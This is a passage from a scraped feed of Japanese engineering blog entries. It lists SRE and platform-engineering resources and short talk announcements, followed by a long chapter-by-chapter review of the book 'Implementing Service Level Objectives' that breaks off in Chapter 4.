サイトリライアビリティエンジニアリングO\'Reilly Japan – サイトリライアビリティワークブックO\'Reilly Japan – SREの探求Becoming SRESRE at Google: How to structure your SRE teamレトロスペクティブガイドWhat Is Platform Engineering?Top Strategic Technology Trends for 2023: Platform EngineeringMaking the Business Case for a Dedicated Platform Engineering TeamSRE NEXTPlatform Engineering MeetupチームトポロジーSLO サービスレベル目標Effective DevOpsオブザーバビリティ・エンジニアリングWebエンジニアのための監視システム実装ガイドマイクロサービスの現場からプラットフォームエンジニアリングの可能性を探る!CNCF Platforms White Paper道を照らす: プラットフォーム エンジニアリング、ゴールデンパス、セルフサービスのパワーPlatform Engineering on Kubernetes開発生産性について議論する前に知っておきたいことPlatform Engineering 101What is platform engineering?実践チームトポロジー: プラットフォーム性とイネイブリング性の戦略【資料公開】30分で分かった気になるチームトポロジーTeam dynamics: Five keys to building effective teamsThe History of DevOps Reports作りすぎない技術 - API時代の開発努力の在り方について考えるタクシーアプリ『GO』におけるプラットフォームエンジニアリングの実践The DevOps Handbook, 2nd EditionGrokking Continuous Deliveryこれらの資料を通じて、技術と組織の両面からシステム運用の改善について学ぶことができます。継続的な学習と実践を通じて、より良いエンジニアリング文化の構築に貢献できることを願っています。","link":"https://syu-m-5151.hatenablog.com/entry/2024/07/09/215147","isoDate":"2024-07-09T12:51:47.000Z","dateMiliSeconds":1720529507000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Pull requestの概要の作成とコードの改善を提案するツールを作ってみた","contentSnippet":"1. はじめに はじめまして、Sreake事業部でインターンをしている村山です。 今回は、PR Guardianというツールの開発と検証をしました。PR GuardianはPull Requestの概要の作成、コードの改 […]The post Pull requestの概要の作成とコードの改善を提案するツールを作ってみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/pr-guardian/","isoDate":"2024-07-09T11:10:06.000Z","dateMiliSeconds":1720523406000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Platform Engineering と SRE の門 ","contentSnippet":"Platform Engineering とSREの門 というタイトルで登壇しました。入門のタイポではありません。\\r\\rイベント名: Platform Engineering Kaigi 2024\\rイベントURL:https://www.cnia.io/pek2024/\\r\\r登壇ブログ:『Platform Engineering とSREの門』という間違ったみたいなタイトルで登壇しました。 #PEK2024\\rhttps://syu-m-5151.hatenablog.com/entry/2024/07/09/215147","link":"https://speakerdeck.com/nwiizo/platform-engineering-to-sre-nomen","isoDate":"2024-07-09T04:00:00.000Z","dateMiliSeconds":1720497600000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"AWS SNSでエラー通知させ、SLOについて考える","contentSnippet":"以下、登壇資料。\\rJAWS-UG SRE支部 #9 初心者LT大会\\rhttps://jawsug-sre.connpass.com/event/321380/","link":"https://speakerdeck.com/melanmeg/aws-snsdeeratong-zhi-sase-slonituitekao-eru","isoDate":"2024-07-08T04:00:00.000Z","dateMiliSeconds":1720411200000,"authorName":"Naoya Yamamoto","authorId":"melanmeg"},{"title":"数字に振り回されず完璧を目指さない為に - Implementing Service Level Objectives の読書感想文","contentSnippet":"信頼性の追求というのは、決して完璧を求めることではありません。完璧な可用性を追求するのではなく、ユーザーの満足と、限りあるリソースのバランスを取ることこそが重要です。このバランスを取るための一つのツールが、SLO(Service Level Objectives)です。はじめに「Implementing Service Level Objectives」は、現代のソフトウェアサービス管理において不可欠な概念の一つであるSLO(Service Level Objectives)の実装と運用に関する包括的なガイドブックです。本書は、SLOの基本概念から実践的な導入方法、組織文化への浸透まで、幅広いトピックをカバーしています。このSRE本がすごい!2024年版でも紹介しているようにSREやインフラエンジニアの方が必読の一冊だと思います。Implementing Service Level Objectives: A Practical Guide to SLIs, SLOs, and Error Budgets (English Edition)作者:Hidalgo, AlexO\'Reilly MediaAmazonSREとして、この本を読み進める中で、SLOが単なる技術的な指標ではなく、ユーザー体験とビジネス目標を結びつける強力なツールであることを再認識しました。まるでテクノロジーとビジネスの間の橋渡しをする書籍です。本書は、従来の信頼性管理手法の限界を指摘し、SLOベースのアプローチがいかにそれらの問題を解決し、より効果的なシステム運用を可能にするかを詳細に解説しています。経験ももちろん大事ですが、読書を通じて得られる知識や洞察も、実践的な経験に匹敵する価値があると考えています。読書は一種の間接的な経験であり、同時に、私たちの実際の経験も、本を読むように解釈し学ぶことができます。つまり、読書は一種の経験であり、経験はまた一種の読書であると言えるでしょう。この相互作用的な学びのプロセスを通じて、SREとしての知識と実践をより深く、より豊かなものにできると信じています。特に、本書が技術的な側面だけでなく、組織文化や人間的な側面にも大きな注意を払っている点が印象的でした。SLOの導入は、単なるツールの導入ではなく、組織全体の思考方法と行動様式を変革する大きなチャレンジであることが強調されています。まるで組織全体で体質改善に挑戦するようなものですね。痛みを伴うかもしれませんが、結果は素晴らしいはずです!SLOに関しては国内外で素晴らしい発表がいくつかあるので、合わせて紹介していきたいと思います。www.nobl9.com本感想文では、SLOの基本概念を簡単に紹介した後、本書の主要な部分を3つのパートに分けて振り返ります。各パートから得られた重要な洞察と教訓、そしてそれらを実践に移すための具体的なアプローチについて考察していきます。日本語版も出版されているので、ぜひ原書と合わせて読んでみてください。ちなみにいくつか国内でイベントも開催されていたので、こちらも要チェックです。www.youtube.com私は翻訳の経験もありますが、この本の日本語訳は秀逸だと感じました。きっと、英語版を読んだ時の「あれ? これ何言ってるんだろう」というモヤモヤが一掃されるはずです!SLO サービスレベル目標 ―SLI、SLO、エラーバジェット導入の実践ガイド作者:Alex Hidalgoオーム社Amazonなお、この読書感想文はあくまで私個人の読書体験に基づくものであり、本書の内容を常に正確に解釈できているとは限りません。人間は自身の認知フレームワークと経験を通してのみ物事を理解し解釈するものです。そのため、ここでの考察や解釈には、私自身の背景や経験、勘違いや思い違いが反映されている可能性があります。読者の皆様には、この点をご理解いただき、本書を直接お読みになることをお勧めいたします。「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策作者:今井むつみ日経BPAmazonまた、本ブログのレビューにおいて、abnoumaru さんから多大なご貢献をいただきました。abnoumaru さんの専門知識と綿密なレビューのおかげで、ブログの品質と正確性が大幅に向上しました。この場を借りて、abnoumaru さんのご尽力に心から感謝申し上げます。はじめにPart I. SLO DevelopmentChapter 1. The Reliability StackChapter 2. How to Think About ReliabilityChapter 3. Developing Meaningful Service Level IndicatorsChapter 4. Choosing Good Service Level ObjectivesChapter 5. How to Use Error BudgetsPart II. SLO ImplementationChapter 6. Getting Buy-InChapter 7. Measuring SLIs and SLOsChapter 8. SLO Monitoring and AlertingChapter 9. Probability and Statistics for SLIs and SLOsChapter 10. Architecting for ReliabilityChapter 11. Data ReliabilityChapter 12. A Worked ExamplePart III. SLO CultureChapter 13. Building an SLO CultureChapter 14. SLO EvolutionChapter 15. Discoverable and Understandable SLOsChapter 16. SLO AdvocacyChapter 17. Reliability ReportingおわりにPart I. SLO DevelopmentPart Iでは、SLOの基本概念と開発方法について詳細に解説されています。個人的に好きだったのは、Reliability Stackの概念です。SLI(Service Level Indicators)、SLO、Error Budgetという3つの要素が階層構造を成し、サービスの信頼性を包括的に管理するためのフレームワークを提供しています。著者は、「完璧な信頼性を目指すことは現実的ではなく、むしろユーザーが満足する程度の信頼性を目標とすべき」という考え方を提唱しています。この現実的なアプローチは、リソースの効率的な配分とユーザー満足度のバランスを取る上で重要です。技術的な観点からは、SLIの選定とSLOの設定方法に関する具体的なガイダンスが有用でした。特に、パーセンタイルベースのSLO設定や、依存関係を持つサービスのSLO計算方法など、実践的な知見が多く含まれています。この部分から学んだ最も重要な教訓は、SLOの開発が単なる数値目標の設定ではなく、ユーザーのニーズ、技術的な制約、ビジネス目標のバランスを取る複雑なプロセスであるということです。SREとして、この視点を常に念頭に置きながら、より効果的なSLOの設計と運用を目指していく必要があります。Chapter 1. The Reliability Stack第1章「The Reliability Stack」は、現代のソフトウェアサービスにおける信頼性の重要性と、それを測定・管理するためのフレームワークを提示しています。本章は、Service Level Indicators (SLIs)、Service Level Objectives (SLOs)、そしてError Budgetsという3つの主要概念を中心に構成されており、これらが「Reliability Stack」を形成しています。各用語についてはSRE本のService Level ObjectivesやThe Art of SLOsが良いのでおすすめです。cloud.google.comまず、本書では現代のソフトウェア環境が複雑化し、分散化していることを指摘しています。「We live in a world of services.」という冒頭の一文は、この現状を端的に表現しています。Software as a Service (SaaS)、Infrastructure as a Service (IaaS)、さらにはマイクロサービスアーキテクチャの普及により、サービスの定義自体が曖昧になっているという指摘は、多くのソフトウェアエンジニアが日々直面している課題を的確に捉えています。www.youtube.com本書では、複雑化する環境下でサービスの信頼性を確保するには、従来のログやスタックトレースだけでは不十分であり、新しいアプローチが必要だと主張しています。ここで提案されているのが、ユーザーの視点に立った信頼性の測定と管理です。「\\"Is my service reliable?\\"という質問は、\\"Is my service doing what its users need it to do?\\"という質問とほぼ同義である」というフレーズは、信頼性の本質を端的に表現していると思います。 LuupにおけるSLOの物語などは良く資料としてできているので確認してもらいたいです。 speakerdeck.comまた、Observability EngineeringのChapter 12. Using Service-Level Objectives for ReliabilityやChapter 13. Acting on and Debugging SLO-Based AlertsでSLOについて触れているので、これらも一読する価値があるでしょう。なお、Practical MonitoringとObservability Engineeringの2冊を読む前にこの本を読むことは、あまりオススメできません。syu-m-5151.hatenablog.comReliability Stackの基礎となるService Level Indicators (SLIs)は、ユーザーの視点からサービスのパフォーマンスを測定する指標です。本書では、単純な可用性やエラーレートではなく、ユーザーの実際の体験に基づいた指標を選ぶべきだと強調しています。例えば、ウェブページの読み込み時間が2秒以内であれば「良好」、それ以上であれば「不良」とするような具体的な例は、SLIの概念を理解する上で有用です。Figure 1-1. The basic building blocks of the Reliability Stack より引用Figure 1.1で示されているReliability Stackの図は、SLI、SLO、Error Budgetの関係性を視覚的に表現しており、これらの概念の階層構造を理解する上で役立ちます。Service Level Objectives (SLOs)は、SLIに基づいて設定される目標値です。本書では、完璧な信頼性を目指すことは現実的ではなく、むしろ「ユーザーが満足する程度の信頼性」を目標とすべきだと主張しています。この考え方は、リソースの効率的な配分と、ユーザー満足度のバランスを取る上で重要です。SREとして、この視点は特に共感できる部分でした。Figure 1-3. A very basic representation of how you can use error budgets to drive decisions より引用Error Budgetは、SLOからの逸脱を許容する範囲を定義するものです。本書では、Error Budgetを「どの程度サービスが失敗しても許容されるか」を表す指標として説明しています。Figure 1.3で示されているError Budgetの使用方法は、新機能のデプロイや実験的な取り組みと、信頼性向上のための作業のバランスを取る上で有用なフレームワークを提供しています。本書では、様々なタイプのサービス(ウェブサービス、APIサービス、データ処理パイプライン、バッチジョブ、データベース、コンピューティングプラットフォーム、ハードウェア・ネットワーク)について言及し、それぞれのサービスタイプに適したSLIとSLOの設定方法を概説しています。これは、Reliability Stackの概念が幅広いサービスに適用可能であることを示しており、実務上有用な情報です。特に、本書がSLOアプローチの導入に関して注意点を挙げている部分です。「SLOs Are Just Data」、「SLOs Are a Process, Not a Project」、「Iterate Over Everything」、「The World Will Change」、「It\'s All About Humans」という5つのポイントは、SLOベースのアプローチを実践する上で常に心に留めておくべき重要な指針だと感じました。特に、SLOを単なるプロジェクトではなく、継続的なプロセスとして捉える視点は、多くの組織がSLO導入に失敗する原因を的確に指摘していると思います。技術的な観点からは、本書がSLIの測定方法やError Budgetの計算方法について詳細に説明している点が参考になりました。例えば、Error Budgetの計算にイベントベースのアプローチと時間ベースのアプローチがあることの説明は、実際にError Budgetを実装する際の具体的な指針となります。また、本書がService Level Agreement (SLA)とSLOの違いを明確に説明している点も重要です。SLAが契約上の約束であるのに対し、SLOは内部的な目標であるという区別は、多くの組織でしばしば混同されがちな概念を整理する上で有用です。本章から得られる重要な教訓は、信頼性の管理がサービスの運用において最も重要な要素の一つであり、それをユーザーの視点から測定し、管理することの重要性です。Reliability Stackの概念は、複雑化するサービス環境において、信頼性を体系的に管理するための強力なフレームワークを提供しています。同時、本書では技術的な側面だけでなく、人間的な側面も強調しています。「Service level objectives are ultimately about happier users, happier engineers, happier product teams, and a happier business.」というフレーズは、SLOアプローチの最終的な目標を端的に表現しており、技術と人間のバランスを取ることの重要性を示唆しています。SREとして、この章から学べる重要な点は、信頼性の管理が単なる技術的な問題ではなく、ユーザー、エンジニア、ビジネス全体を考慮した総合的なアプローチが必要だということです。SLI、SLO、Error Budgetの概念は、この複雑な問題に対する体系的なアプローチを提供してくれます。また、本書が強調しているある種の「完璧を目指さない」という姿勢は、リソースの効率的な配分と、継続的な改善のバランスを取る上で重要です。100%の信頼性を目指すのではなく、ユーザーのニーズを満たす程度の信頼性を目指すという考え方は、現実的かつ効果的なアプローチだと感じました。さらに、本書がSLOアプローチを単なるデータ収集や目標設定ではなく、継続的なプロセスとして捉えている点も重要です。SLOの設定や調整を通じて、組織全体が信頼性について継続的に考え、議論する文化を醸成することの重要性が強調されています。技術的な観点からは、SLIの選定やError Budgetの計算方法など、具体的な実装に関する情報が提供されています。これらの情報は、実際にReliability Stackを導入する際の実践的なガイドラインとなります。特に、異なるタイプのサービスに対するSLIの例は、多様なサービス環境に対応する上で有用です。本章を読んで、私はReliability Stackの概念が現代のソフトウェサービス管理において重要であると再認識しました。同時に、この概念を効果的に導入するためには、技術的な実装だけでなく、組織文化の変革も必要であることを強く感じました。SLOアプローチは、技術チームとビジネスチームの橋渡しとなり、サービスの信頼性に関する共通言語を提供する可能性を秘めています。最後に、本書が強調している「イテレーション」の重要性は、印象に残りました。サービスの環境や要件は常に変化しており、それに応じてSLI、SLO、Error Budgetも継続的に見直し、調整していく必要があります。この柔軟性と継続的改善の姿勢は、急速に変化するテクノロジー環境において重要です。総括すると、本章はReliability Stackという概念を通じて、現代のソフトウェアサービスにおける信頼性管理の新しいパラダイムを提示しています。ユーザー中心の視点、データ駆動の意思決定、継続的な改善プロセス、そして技術と人間のバランスを重視するこのアプローチは、複雑化するサービス環境において有効だと感じました。SREとして、この概念を自身の業務に取り入れ、さらに組織全体に浸透させていくことで、より信頼性の高いサービス提供につながると確信しています。Chapter 2. How to Think About Reliability第2章「How to Think About Reliability」は、信頼性という概念に対する深い洞察を提供しています。本書では、技術業界で頻繁に誤解されている信頼性の本質を明らかにし、読者に新たな視点を提示しています。地に足をつけて生きろ! 加速文化の重圧に対抗する7つの方法作者:スヴェン・ブリンクマンEvolvingAmazon章の冒頭で、本書では技術業界における用語の乱用について警鐘を鳴らしています。\\"DevOps\\"や\\"Site Reliability Engineering\\"といった用語本来の意味を失い、単なるマーケティング用語や職種名として使われている現状を指摘しています。これは、SREとしての経験を持つ私にとって共感できる点でした。現場がさき、 プラクティスがあと、 原則はだいじにという言葉が好きなのですが技術用語の本質を理解せずに使用することで、言葉はすりきれる。その概念の重要性や意味が薄れてしまうのは、実にもったいない。本書では、信頼性がしばしば可用性と同一視されることを問題視し、\\"Reliability has far too often come to mean only availability in the tech world.\\"という一文でこの誤解を端的に表現していますが、SREとして信頼性向上に取り組む中で可用性以外にも多くの要素が関係していることを実感しており、信頼性に対する固定的な答えはないため、実際の現場でデータを収集・分析し、各システムや状況に応じて信頼性を満たすために何が必要かを議論することが重要です。ちょっと過激な表現ですが意味ある可用性を求める運動だと言えると思ってます。本書が提示する信頼性の定義、\\"a system is doing what its users need it to do\\"は、シンプルでありながら本質を突いています。この定義は、技術的な指標だけでなく、ユーザーの視点を中心に置くことの重要性を強調しています。SREとして、この視点は重要です。私たちは往々にして技術的な指標にとらわれがちですが、最終的にはユーザーの満足度こそ最も重要な指標であることを忘れてはいけません。章の中盤で、過去のパフォーマンスとユーザーの期待について興味深い考察を展開しています。\\"Past performance predicts future performance.\\"という一文は、ユーザーの期待がどのように形成されるかを端的に表現しています。これは、SLOを設定する際に考慮すべき重要な要素です。過去のパフォーマンスが暗黙の約束となっているという指摘は、SREとして特に注意を払うべき点だと感じました。本書が提示する映画ストリーミングサービスの例は、信頼性の複雑さを理解する上で有効でした。単に動画が再生されるだけでなく、適切な速度でのバッファリング、正しい動画の配信、適切な画質、音声と映像の同期、字幕の正確さなど、多岐にわたる要素が信頼性を構成していることが分かります。この例は、SREとしてシステムの信頼性を考える際に、多角的な視点を持つことの重要性を再認識させてくれます。本書の\\"100% is impossible\\"という主張は、重要な点です。完璧を目指すことで、却って資源の無駄遣いや人的負担の増加を招く可能性があることを指摘しています。これは、SREとして常に心に留めておくべき教訓です。信頼性と効率性のバランスを取ることの重要性を再認識させられました。反脆弱性[上]――不確実な世界を生き延びる唯一の考え方作者:ナシーム・ニコラス・タレブダイヤモンド社Amazon本書では、信頼性の向上にかかるコストについても詳細に説明しています。99.9%から99.95%への信頼性の向上と、99.95%から99.99%への向上では、後者の方が5倍のコストがかかるという具体的な例は、印象的でした。この数学的な裏付けは、信頼性目標を設定する際の重要な判断材料となります。最後に本書では、信頼性に対する考え方について総括しています。\\"Be as reliable as your users need you to be.\\"という一文は、信頼性に対するアプローチの本質を表現しています。しかし、本書ではこの単純な答えに留まらず、ユーザーのニーズが時間とともに変化することや、上流のサービスの信頼性に依存する部分があることなど、より複雑な要因についても言及しています。この章から得られる重要な教訓は、信頼性は単純な数値目標ではなく、ユーザーのニーズと企業のリソースのバランスを取るための継続的なプロセスであるということです。SREとして、この視点は重要です。ユーザーの期待、技術的な制約、コストなど、様々な要因を考慮しながら、最適な信頼性レベルを追求し続けることが求められています。技術的な観点からは、本書が提示する信頼性の数学的な考察が非常興味深いものでした。特に、99.99%の信頼性を達成するために必要な対応時間や、信頼性向上にかかるコストの非線形性など、具体的な数値を用いた説明は、SREとして信頼性目標を設定する際の重要な指針となります。また、本書が強調している\\"black swan event\\"への対応の重要性も、SREとして心に留めておくべき点です。予測不可能な大規模障害に対しては、通常のSLOやエラーバジェットの考え方を一時的に保留し、柔軟に対応することの重要性を再認識しました。この章を読んで、信頼性の向上は単にシステムの可用性を高めることではなく、ユーザーのニーズを深く理解し、それに応えるためのバランスの取れたアプローチを追求することだと再認識しました。また、技術チームだけでなく、製品チーム、経営陣との密接な連携の重要性も強く感じました。特に印象に残ったのは、本書が繰り返し強調している「ユーザー視点」の重要性です。SREとして、私たちは往々にして技術的な指標にとらわれがちですが、最終的にはユーザーの満足度こそが最も重要な指標であることを忘れてはいけません。この視点は、SLOの設定や、障害対応の優先順位付けなど、日々の業務の様々な場面で活かせると感じました。また、本書が提示する「信頼性のコスト」についての考察は、SREとしての意思決定に大きな影響を与えるものだと感じました。完璧な信頼性を目指すのではなく、ユーザーのニーズと企業のリソースのバランスを取ることの重要性を、数学的な裏付けとともに理解できたことは有意義でした。この章から学んだことを実践に移す上で、以下のような体的なアクションを考えています:SLOの設定時に、技術的な指標だけでなく、ユーザーの実際の使用体験を反映した指標を取り入れる。信頼性目標の設定時に、その目標達成にかかるコストと得られる便益を定量的に評価する。チーム内で定期的に「ユーザーにとっての信頼性」について議論する場を設ける。上流サービスの信頼性も考慮に入れた、より現実的なSLOを設定する。予期せぬ大規模障害に対応するための柔軟な計画を立てる。総括すると、この章は信頼性に対する新たな視点を提供し、SREとしての私たちの役割を再定義するものでした。信頼性は単なる技術的な問題ではなく、ユーザーのニーズ、ビジネスの要求、技術的な制約のバランスを取るための継続的なプロセスであることを強く認識させられました。この視点を持ちつ、日々の業務に取り組むことで、より効果的なSREとしての貢献ができると確信しています。Chapter 3. Developing Meaningful Service Level Indicators第3章「Developing Meaningful Service Level Indicators」は、SLO(Service Level Objectives)ベースのアプローチにおける最も重要な要素であるSLI(Service Level Indicators)の開発に焦点を当てています。本書では、SLIの重要性を強調し、その開発方法について詳細に説明しています。 speakerdeck.com章の冒頭で、本書では「SLIs are the most vital part of this entire process and system.」と述べ、SLIがReliability Stackの基礎であることを強調しています。この言葉は、SREとしての私の経験と深く共鳴しました。システムの信頼性を向上させるためには、まず適切な指標を設定することが不可欠であり、それがSLIの役割だと理解しています。本書では、SLIの重要性を説明する中で、「Your service isn\'t reliable if your users don\'t think it is.」という一文を用いています。この視点は、技術的な指標だけでなく、ユーザーの認識を重視することの重要性を示唆しており、SREとしての私の考え方に大きな影響を与えました。章の中盤では、SLIの開発方法について具体的な例を用いて説明しています。本書では、単純なリクエスト・レスポンスAPIから始めて、より複雑な小売ウェブサイトのアーキテクチャまで、様々なレベルのサービスについてSLIの開発方法を示しています。Figure 3-1. A basic and oversimplified retail website architecture より引用Figure 3.1では、簡略化された小売ウェブサイトのアーキテクチャが示されており、複雑なシステムにおけるSLIの開発の難しさを視覚的に理解することができます。この図は、SLIを開発する際に考慮すべき様々なコンポーネントとその相互作用を明確に示しており、有用でした。本書では、複雑なシステムにおけるSLIの開発について、「Measuring many things by measuring only a few」というアプローチを提案しています。これは、ユーザーの視点から最も重要な指標を選び出し、それを測定することで、システム全体の信頼性を効果的に評価できるという考え方です。この考え方は、SREとして複雑なシステムの監視を行う際に有用だと感じました。技術的な観点から特に興味深かったのは、SLIの測定方法に関する説明です。本書では、エラ率や応答時間などの基本的な指標から始めて、より複雑なユーザージャーニーの測定まで、段階的にアプローチを深めていきます。例えば、ログイン機能のSLIを開発する際に、単に認証サービスのエラー率を見るだけでなく、ロードバランサーからユーザーのブラウザでの表示まで、エンドツーエンドの流れを考慮する必要があるという指摘は、重要だと感じました。ユーザージャーニーやカスタマージャーニーとは何か知りたい方はこの書籍がオススメです。理想的なカスタマージャーニーの設計原則 DIAMOND ハーバード・ビジネス・レビュー論文作者:アヒール・ゴパルダス,アントン・シーベルトダイヤモンド社Amazon本書では、SLIの記述方法についても言及しています。「The 95th percentile of requests to our service will be responded to with the correct data within 400 ms.」という例は、技術的な詳細を含みながらも、非技術者にも理解しやすい形で表現されています。これは、SREとして他部署とコミュケーションを取る際に参考になる表現方法だと感じました。また、本書ではSLIの開発がビジネスアラインメントにも寄与することを指摘しています。SLIは、プロダクトマネージャーの「ユーザージャーニー」、ビジネス部門の「KPI」、QAチームの「インタフェーステスト」と本質的に同じものを指している場合が多いという指摘は、興味深いものでした。これは、SREが組織全体のアラインメントを促進する上で重要な役割を果たせることを示唆しています。はじめてのカスタマージャーニーマップワークショップ(MarkeZine BOOKS) 「顧客視点」で考えるビジネスの課題と可能性作者:加藤 希尊翔泳社Amazon章の結論部分で本書では、SLIの開発が必ずしも容易ではないことを認めつつも、その重要性を強調しています。「Thinking about your users first is never a bad idea.」という言葉は、SLIの開発だけでなく、SREの仕事全般に通じる重要な指針だと感じました。この章から得られる重な教訓は、SLIの開発がSLOベースのアプローチの基礎であり、ユーザーの視点を中心に置くことの重要性です。技術的な指標に偏りがちな私たちSREにとって、この視点は重要です。また、複雑なシステムにおいても、少数の重要な指標を適切に選択することで、全体の信頼性を効果的に測定できるという点も、実践的で有用な知見だと感じました。SREとして、この章から学んだことを実践に移すためには、以下のようなアプローチが考えられます。現在のモニタリング指標を見直し、それらがユーザーの視点をどの程度反映しているかを評価する。各サービスについて、ユーザージャーニーを詳細にマッピングし、そこから重要なSLIを抽出する。エンドツーエンドの測定を可能にするためのインフラストラクチャ(例:分散トレーシングシステム)の導入を検討する。SLIの定義と測定方法について、プロダクト、ビジネス、QAなど他部門と議論し、組織全体でのアラインメントを図る。SLIの定義を定期的に見直し、ユーザーのニーズや期待の変化に合わせて更新する。技術的な観点からは、SLIの測定に関する本書の提案は有用でした。特に、複雑なシステムにおいてエンドツーエンドの測定を行うことの重要性は、私たちのモニタリング戦略を再考する良いきっかけになると感じました。例えば、現在の個別のコンポーネントレベルのモニタリングに加えて、ユーザーの実際の体験をシミュレートするシンセティックモニタリングの導入を検討する価値があるでしょう。また、本書が提案する「多くのことを少数の指標で測定する」アプローチは、モニタリングシステムの設計にも大きな影響を与えると考えられます。現在のように多数の指標を個別に監視するのではなく、ユーザー体験に直結する少数の重要な指標に焦点を当てたダッシボードやアラートシステムの設計が必要になるでしょう。さらに、SLIの定義を「簡単に説明できる文章」で表現するという提案は、技術チームと非技術チームのコミュニケーションを改善する上で重要だと感じました。これは、インシデント対応時の状況説明や、経営陣への報告の際にも役立つアプローチだと考えられます。この章を読んで、単にシステムの技術的な側面を監視し、問題に対処するだけでなく、ユーザー体験の向上に直接寄与する指標を設計し、それに基づいてシステムの信頼性を向上させていくことが、私たちの重要な責務であことを再認識しました。また、SLIの開発が組織全体のアラインメントにつながるという指摘は、SREの役割がより戦略的になる可能性を示唆しています。技術部門と事業部門の橋渡し役として、SREがビジネス目標の達成に直接貢献できる可能性があることを感じました。総括すると、この章はSLIの開発というテクニカルな話題を通じて、SREの役割と責任について深い洞察を提供しています。ユーザー中心の視点、複雑なシステムの理解、組織全体とのアラインメント、これらはすべてSREが取り組むべき重要な課題です。SLIの適切な開発と運用は、これらの課題に対処するための強力なツールとなり得ます。今後の実務において、この章で学んだアプローチを積極的に取り入れていきたいと考えています。特に、ユーザージャーニーの詳細な分析とそれに基づくSLIの設計、エンドツーエンドの測定を可能にするインフラの整備、そして他部門との密接な連携によるSLIの継続的な改善に注力していきたいと思います。これらの取り組みを通じて、より効果的なSREプラクティスを確立し、最終的にはユーザー満足度の向上とビジネス目標の達成に貢献できると確信しています。Chapter 4. Choosing Good Service Level Objectives第4章「Choosing Good Service Level Objectives」は、SLO(Service Level Objectives)の設定に関する深い洞察を提供しています。本書では、SLOの本質と、それを効果的に選択・設定するための方法論を詳細に解説しています。チームが機能するとはどういうことか──「学習力」と「実行力」を高める実践アプローチ作者:エイミー・C・エドモンドソン,Amy C. Edmondson英治出版Amazon本書では、SLOを「ユーザーの幸福度」という観点から定義しています。「If you are exceeding your SLO target, your users are happy with the state of your service.」という一文は、SLOの本質を的に表現しています。この視点は、技術的な指標だけでなく、ユーザー体験を中心に据えることの重要性を強調しており、SREとしての私たちの役割を再考させられました。しかし、本書では同時に「too reliable」であることの問題点も指摘しています。「Being too reliable all the time, you\'re also missing out on some of the fundamental features that SLO-based approaches give you: the freedom to do what you want.」この考え方は、一見paradoxicalに思えますが、実際の運用環境では重要です。過度に高い信頼性を目指すことで、イノベーションや実験の機会を失う可能性があるという指摘は、SREとして常に意識すべき点だと感じました。本書では、SLO設定において「9」にこだわりすぎることの危険性も指摘しています。99.9%や99.99%といった数値は一見魅力的ですが、実際のサービス運用では必ずしも適切ではない場合があります。本書では、より柔軟なアプローチを提案しており、例えば98.62%や87%といったSLO目標も適切な場合があると述べています。この柔軟性は、実際のサービス運用において重要だと感じました。技術的な観点から特に興味深かったのは、SLO設定における統計的アプローチの解説です。本書では、平均値、中央値、モード、範囲、パーセンタイルなどの基本的な統計概念を丁寧に説明し、これらがSLO設定にどのように活用できるかを具体的に示しています。例えば、95パーセンタイルの応答時間を使用してSLOを設定する方法は、実際のサービス運用において有用です。Table 4-1. SLO targets composed of nines translated to time より引用Table 4-2. SLO targets composed of not-just-nines translated to time より引用Figure 4.1と4.2で示されている「SLO targets composed of nines translated to time」と「SLO targets composed of not-just-nines translated to time」の表は、異なるSLO目標が実際の運用時間にどのように影響するかを視覚的に理解する上で役立ちました。これらの表は、SLO目標を設定する際の具体的な指針となります。本書では、サービスの依存関係とコンポーネントの考慮の重要性も強調しています。特に、複数のチームが関わる複雑なサービスにおいて、各コンポーネントのSLOをどのように設し、全体のSLOとどう整合性を取るかという点は、実務上重要な課題です。本書の提案する「dependency math」は、この課題に対する具体的なアプローチを提供しており、実践的で有用だと感じました。また、本書ではメトリクスの属性(解像度、量、質)についても詳細に解説しています。これらの要素がSLO設定にどのように影響するかを理解することは、適切なSLOを選択する上で重要です。特に、低頻度イベントや品質の低いデータに対するアプローチは、実際のSRE業務で直面する課題に直接関連しており、有用な知見でした。本書が提案するパーセンタイル閾値の使用は、特にロングテールを持つ分布(例:レイテンシー)を扱う際に非常に有効で、例えば「The P95 of all requests will successfully complete within 2,000 ms 99.9% of the time.」というSLOの設定方法は、ロングテールのパフォーマンスを継続的に監視・管理できる点と、SLOをより直感的に報告できる点で優れたアプローチだと感じました。この章から得られる重要な教訓は、SLO設定が単なる数値目標の設定ではなく、ユーザーの期待、技術的な制約、ビジネス目標のバランスを取る複雑なプロセスであるということです。本書の「SLOs are objectives, they\'re not formal agreements」という言葉は、SLOアプローチの柔軟性と進化の必要性を強調しており、重要な指摘だと感じました。この章の内容を実践に移す上で、以下のようなアプローチを考えています。また、資料としては以下がSLOをゼロからつくるなどがおすすめなので国内の事例として読んでみてほしいです。現在のSLOを再評価し、ユーザー体験をより適切に反映しているか検討する。パーセンタイル閾値を活用し、ロングテールを持つメトリクスに対するSLOを改善する。サービスの依存関係を詳細にマッピングし、「dependency math」を用いて全体のSLOを再計算する。メトリクスの属性(解像度、量、質)を詳細に分析し、SLO設定に反映させる。チーム間でSLOに関する定期的な議論の場を設け、継続的な改善を図る。技術的な観点からは、本書が提案する統計的アプローチとパーセンタイル閾値の使用は、特に注目に値します。これらの手法を実装するためには、高度なモニタリングシステムと分析ツールが必要になるでしょう。例えば、リアルタイムでパーセンタイル値を計算し、SLO違反を検出するシステムの構築が考えられます。また、「dependency math」を自動化し、サービスの依存関係の変更がSLOにどのように影響するかをシミュレートするツールも有用でしょう。さらに、本書の「operational underload」の概念は、SRE実践において重要です。システムに適度なストレスをかけることで、チームの対応能力を維持し、潜在的な問題を早期に発見できるという考え方は、従来のシステム運用の考え方を覆すものです。これを実践するためには、慎重に設計された負荷テストやカオスエンジニアリングの手法の導入が必要になるでしょう。この章の内容は、SREの実務に直接的に適用できる多くの示唆に富んでいます。例えば、新しいサービスのSLO設定時には、本書が提案する「educated guess」アプローチを採用し、初期のSLOを設定した後、実際のデータに基づいて迅速に調整していく方法を取り入れることができます。また、既存のサービスについては、現在のSLOが本当にユーザーの期待を反映しているか、定期的に再評価する習慣を導入することが重要です。本書の「Nines don\'t matter if users aren\'t 